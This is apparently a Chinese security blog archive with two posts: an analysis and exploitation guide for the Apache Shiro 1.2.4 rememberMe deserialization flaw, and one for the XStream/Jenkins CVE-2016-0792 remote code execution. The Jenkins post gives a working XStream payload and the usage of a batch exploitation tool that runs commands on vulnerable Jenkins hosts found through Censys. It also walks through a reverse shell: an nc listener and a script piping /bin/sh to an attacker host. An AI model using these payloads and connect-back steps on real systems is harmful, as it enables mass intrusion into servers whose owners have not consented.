标签归档:Java

Apache Shiro 1.2.4 远程代码执行分析与利用

0x00 前言

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理功能,可为任何应用提供安全保障 – 从命令行应用、移动应用到大型网络及企业应用。Shiro为解决应用安全的如下四要素提供了相应的API:

  • 认证 – 用户身份识别,常被称为用户“登录”;
  • 授权 – 访问控制;
  • 密码加密 – 保护或隐藏数据防止被偷窥;
  • 会话管理 – 用户相关的时间敏感的状态。

Shiro还支持一些辅助特性,如Web应用安全、单元测试和多线程,它们的存在强化了这四个要素。本文重点分析2015年11月19号报告的1.2.4版本中存在的一个反序列化导致的远程代码执行的漏洞。

0x01 分析

根据SHIRO-550(https://issues.apache.org/jira/browse/SHIRO-550)报告中的描述,默认情况下,shiro使用CookieRememberMeManager类对用户的身份信息的进行序列化,加密以及编码。因此,当系统收到一个未认证的用户的请求时,将会按照下面的过程来寻找已记住的身份信息:

  • 获取rememberMe cookie的值
  • Base64解码
  • 使用AES解密
  • 使用ObjectInputStream进行反序列化

然而,默认的AES加密的密钥却是硬编码在源码里。这就意味着,任何能够看到源代码的人都知道默认的密钥什么。一旦攻击者构造了一个恶意的对象,利用上面处理过程的反过程(序列化-AES加密-Base64编码)将恶意代码作为cookie发送至服务器端这就造成了由反序列化引起的远程代码执行的漏洞。

下面我将重点分析一下这个漏洞造成的过程。

从报告描述中可以发现这个漏洞主要是因为CookieRememberMeManager类引起的,找到github上shiro 1.2.4源码。

CookieRememberMeManager.java:

public class CookieRememberMeManager extends AbstractRememberMeManager {

    ...

    /**
     * Base64-encodes the specified serialized byte array and sets that base64-encoded String as the cookie value.
     * <p/>
     * The {@code subject} instance is expected to be a {@link WebSubject} instance with an HTTP Request/Response pair
     * so an HTTP cookie can be set on the outgoing response.  If it is not a {@code WebSubject} or that
     * {@code WebSubject} does not have an HTTP Request/Response pair, this implementation does nothing.
     *
     * @param subject    the Subject for which the identity is being serialized.
     * @param serialized the serialized bytes to be persisted.
     */
    protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {

        if (!WebUtils.isHttp(subject)) {
            if (log.isDebugEnabled()) {
                String msg = "Subject argument is not an HTTP-aware instance.  This is required to obtain a servlet " +
                        "request and response in order to set the rememberMe cookie. Returning immediately and " +
                        "ignoring rememberMe operation.";
                log.debug(msg);
            }
            return;
        }


        HttpServletRequest request = WebUtils.getHttpRequest(subject);
        HttpServletResponse response = WebUtils.getHttpResponse(subject);

        //base 64 encode it and store as a cookie:
        String base64 = Base64.encodeToString(serialized);

        Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
        Cookie cookie = new SimpleCookie(template);
        cookie.setValue(base64);
        cookie.saveTo(request, response);
    }

    ...

    /**
     * Returns a previously serialized identity byte array or {@code null} if the byte array could not be acquired.
     * This implementation retrieves an HTTP cookie, Base64-decodes the cookie value, and returns the resulting byte
     * array.
     * <p/>
     * The {@code SubjectContext} instance is expected to be a {@link WebSubjectContext} instance with an HTTP
     * Request/Response pair so an HTTP cookie can be retrieved from the incoming request.  If it is not a
     * {@code WebSubjectContext} or that {@code WebSubjectContext} does not have an HTTP Request/Response pair, this
     * implementation returns {@code null}.
     *
     * @param subjectContext the contextual data, usually provided by a {@link Subject.Builder} implementation, that
     *                       is being used to construct a {@link Subject} instance.  To be used to assist with data
     *                       lookup.
     * @return a previously serialized identity byte array or {@code null} if the byte array could not be acquired.
     */
    protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

        if (!WebUtils.isHttp(subjectContext)) {
            if (log.isDebugEnabled()) {
                String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +
                        "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
                        "immediately and ignoring rememberMe operation.";
                log.debug(msg);
            }
            return null;
        }

        WebSubjectContext wsc = (WebSubjectContext) subjectContext;
        if (isIdentityRemoved(wsc)) {
            return null;
        }

        HttpServletRequest request = WebUtils.getHttpRequest(wsc);
        HttpServletResponse response = WebUtils.getHttpResponse(wsc);

        String base64 = getCookie().readValue(request, response);
        // Browsers do not always remove cookies immediately (SHIRO-183)
        // ignore cookies that are scheduled for removal
        if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

        if (base64 != null) {
            base64 = ensurePadding(base64);
            if (log.isTraceEnabled()) {
                log.trace("Acquired Base64 encoded identity [" + base64 + "]");
            }
            byte[] decoded = Base64.decode(base64);
            if (log.isTraceEnabled()) {
                log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
            }
            return decoded;
        } else {
            //no cookie set - new site visitor?
            return null;
        }
    }

分析这个类后,我们发现CookieRememberMeManager类实际上继承了父类AbstractRememberMeManager并且正如上面描述的过程使用getRememberedSerializedIdentity方法对获取到的请求进行Base64解码返回序列化对象。

而AbstractRememberMeManager类直接将AES加密的密钥写在源码里,并且调用DefaultSerializer类来实现序列化操作

AbstractRememberMeManager.java:

public abstract class AbstractRememberMeManager implements RememberMeManager {

    /**
     * private inner log instance.
     */
    private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class);

    /**
     * The following Base64 string was generated by auto-generating an AES Key:
     * <pre>
     * AesCipherService aes = new AesCipherService();
     * byte[] key = aes.generateNewKey().getEncoded();
     * String base64 = Base64.encodeToString(key);
     * </pre>
     * The value of 'base64' was copied-n-pasted here:
     */
    private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

... ...

    /**
     * Default constructor that initializes a {@link DefaultSerializer} as the {@link #getSerializer() serializer} and
     * an {@link AesCipherService} as the {@link #getCipherService() cipherService}.
     */
    public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }

继续分析DefaultSerializer类,在反序列化方法deserialize里,我们看到了熟悉的readObject(),这也正是远程代码执行漏洞产生的原因。

DefaultSerializer.java:

public class DefaultSerializer<T> implements Serializer<T> {

    /**
     * This implementation serializes the Object by using an {@link ObjectOutputStream} backed by a
     * {@link ByteArrayOutputStream}.  The {@code ByteArrayOutputStream}'s backing byte array is returned.
     *
     * @param o the Object to convert into a byte[] array.
     * @return the bytes representing the serialized object using standard JVM serialization.
     * @throws SerializationException wrapping a {@link IOException} if something goes wrong with the streams.
     */
    public byte[] serialize(T o) throws SerializationException {
        if (o == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
        }
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        BufferedOutputStream bos = new BufferedOutputStream(baos);

        try {
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(o);
            oos.close();
            return baos.toByteArray();
        } catch (IOException e) {
            String msg = "Unable to serialize object [" + o + "].  " +
                    "In order for the DefaultSerializer to serialize this object, the [" + o.getClass().getName() + "] " +
                    "class must implement java.io.Serializable.";
            throw new SerializationException(msg, e);
        }
    }

    /**
     * This implementation deserializes the byte array using a {@link ObjectInputStream} using a source
     * {@link ByteArrayInputStream} constructed with the argument byte array.
     *
     * @param serialized the raw data resulting from a previous {@link #serialize(Object) serialize} call.
     * @return the deserialized/reconstituted object based on the given byte array
     * @throws SerializationException if anything goes wrong using the streams.
     */
    public T deserialize(byte[] serialized) throws SerializationException {
        if (serialized == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
        }
        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
        BufferedInputStream bis = new BufferedInputStream(bais);
        try {
            ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
            @SuppressWarnings({"unchecked"})
            T deserialized = (T) ois.readObject();
            ois.close();
            return deserialized;
        } catch (Exception e) {
            String msg = "Unable to deserialze argument byte array.";
            throw new SerializationException(msg, e);
        }
    }
}

总结一下漏洞产生的过程如下:

  1. CookieRememberMeManager类接收到客户端的rememberMe cookie的请求
  2. 使用getRememberedSerializedIdentity方法对获取到的请求进行Base64解码返回序列化对象
  3. 调用AbstractRememberMeManager类并使用硬编码的密钥对序列化对象进行AES解密
  4. 调用DefaultSerializer类中的deserialize方法实现反序列化操作,从而造成远程代码执行

0x02 利用

2.1 搭建实验环境

首先,从Github上下载Shiro 1.2.4的源代码:

git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
cd samples/web

接着,编辑pom.xml文件,添加存在漏洞的jar包如下:

<!-- 设置maven的编译环境 -->
     <properties>
        <maven.compiler.source>1.6</maven.compiler.source>
        <maven.compiler.target>1.6</maven.compiler.target>
    </properties>

    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <!-- 此处需设置版本为1.2 -->
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>
        ...
        <!-- 添加存在漏洞的commons-collections包 -->
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
    </dependencies>

然后,安装和配置maven并设置maven的编译环境。可参考http://shiro-user.582556.n2.nabble.com/Help-td7580772.html,新建文件”~/.m2/toolchains.xml”包含以下内容:

<toolchains>
  <toolchain>
    <type>jdk</type>
    <provides>
      <version>1.6</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <!-- this can be anything 1.6+, I tested with java 1.8 on a mac -->
      <jdkHome>/absolute/path/to/java/home</jdkHome>
    </configuration>
  </toolchain>
</toolchains>

编译存在漏洞环境为war包:

mvn package

编译成功后,将target目录下生成的war文件部署到你的web服务器上(如:tomcat)如下图所示:

2.2 编写漏洞利用

根据以上的分析,我编写了如下的工具可用于检测是否存在漏洞。

单个网址检测:

hackUtils.py -o http://www.shiro.com/

批量网址检测:

hackUtils.py -o urls.txt

0x03 修补方案

升级到Shiro 1.2.5 或者 2.0.0 版本。

参考

https://issues.apache.org/jira/browse/SHIRO-550

XStream反序列化漏洞利用之Jenkins(CVE-2016-0792)

0x00 背景

2016年2月24日, 国外安全研究员发布一篇文章《Serialization Must Die: Act 2: XStream (Jenkins CVE-2016-0792)》。XStream是一个著名的反序列化的库,用途广泛,原文中作者以Jenkins为例构造了一个远程代码执行的EXP。

0X01 分析

XStream漏洞的根源在于Groovy组件的问题,在groovy.util.Expando重载hashCode方法的时候出了问题:

public int hashCode() { 
  Object method = getProperties().get("hashCode"); 
  if (method != null && method instanceof Closure) { 
    // invoke overridden hashCode closure method 
    Closure closure = (Closure) method; 
    closure.setDelegate(this); 
    Integer ret = (Integer) closure.call(); 
    return ret.intValue(); 
  } else { 
    return super.hashCode(); 
  } 
}

当Expando中存在闭包对象时,Expando会使用该方法计算并返回hashCode,然而这个闭包对象是可控的,从而可以执行我们的代码。 
于是作者给出了EXP,使用XStream解析下面的片段时,会弹出计算器: 

<map> 
  <entry> 
    <groovy.util.Expando> 
      <expandoProperties> 
        <entry> 
          <!--这里是告诉Expando计算hashCode的时候使用我们的闭包方法--!> 
          <string>hashCode</string> 
          <org.codehaus.groovy.runtime.MethodClosure> 
            <delegate class="groovy.util.Expando" reference="../../../.."/> 
            <!--执行打开计算器的操作(当然也可以是别的!)--!> 
            <owner class="java.lang.ProcessBuilder"> 
              <command> 
                <string>open</string> 
                <string>/Applications/Calculator.app</string> 
              </command> 
              <redirectErrorStream>false</redirectErrorStream> 
            </owner> 
            <resolveStrategy>0</resolveStrategy> 
            <directive>0</directive> 
            <parameterTypes/> 
            <maximumNumberOfParameters>0</maximumNumberOfParameters> 
            <method>start</method> 
          </org.codehaus.groovy.runtime.MethodClosure> 
        </entry> 
      </expandoProperties> 
    </groovy.util.Expando> 
    <int>1</int> 
  </entry> 
</map>

EXP执行效果如下图:

执行链如下:

MapConverter#populateMap() 调用了 HashMap#put() 
HashMap#put() 调用了 Expando#hashCode() 
Expando#hashCode() 调用了 MethodClosure#call() 
MethodClosure#call() 调用了 MethodClosure#doCall() 
MethodClosure#doCall() 调用了 InvokerHelper#invokeMethod() 
InvokerHelper#invokeMethod() 调用了 ProcessBuilder#start() 

该EXP的意义是我们在MethodClosure#call()中执行动作,传递进去污染数据,执行任意代码。

更多分析可参见:

http://drops.wooyun.org/papers/13243

http://zone.wooyun.org/content/25551

0x02 利用

鉴于上面的分析,笔者编写了如下的批量利用EXP,如下图:

该EXP支持单个IP利用和批量IP利用.

1. 单个IP地址的利用方式如下:

命令格式: hackUtils.py -k [IP Address][::command]

Linux环境下利用效果:

Windows环境下利用效果:

2. 批量IP的利用方式如下:

该EXP可批量在有漏洞的Jenkins服务器上执行任意命令。我们可以通过 python hackUtils.py -i jenkins 批量获取Jenkins的IP地址, 运行结束后你会在当前目录下找到一个IP列表文件censys.txt.

命令格式: hackUtils.py -k [IP_list][::command]

注:[IP address]表示单个IP地址,如:10.10.10.10,[::command]表示任意执行的命令,如:::dir 或者 ::”touch /tmp/jenkins“, [IP_list]表示IP列表的文件,如:IP.txt

0x03 实战

为了方便大家更好地理解和使用该EXP,笔者提供了一个简单的反弹shell案例。

利用前的准备:

1. 一台用于监听的外网服务器

2. 一台安装了该EXP的任意主机

3. 一台有漏洞的Jenkins服务器

第一步, 先在我们自己的攻击服务器上开启端口监听:nc -vv -l 8000

第二步,利用该EXP进行批量检测,如下我们成功找到了很多漏洞未修复的Jenkins服务器。

第三步, 选择其中一个IP作为目标服务器,测试漏洞是否存在,尝试一下命令: python hackUtils.py -k [目标IP]::”telnet [监听服务器IP] [监听端口]” 来测试是否可以连通。如下图,可以清楚发现该目标服务器存在漏洞,并可以连通攻击主机的监听端口。

第四步,在目标主机上执行远程命令反弹shell。在这一步,可以通过该EXP执行命令来反弹shell,也可以利用如下姿势。

首先,利用命令下载反弹shell的脚本至服务器, 比如:放置如下的反弹shell的脚本供目标服务器下载.

#!/bin/sh

a=$(date +%s);
backpipe="backpipe""$a";

mknod /tmp/$backpipe p;
/bin/sh 0</tmp/$backpipe | nc [监听主机IP] [监听端口] 1>/tmp/$backpipe;

然后,执行脚本,如下。

最后反弹shell至攻击主机。至此,我们已经成功地利用该EXP获取到了目标服务器的shell了。

脚本地址:https://github.com/brianwrf/hackUtils

声明:仅作学习使用,任何人不可用于非法目的,否则一切后果由其本人承担!

参考:

https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream?platform=hootsuite

http://drops.wooyun.org/papers/13243

http://zone.wooyun.org/content/25551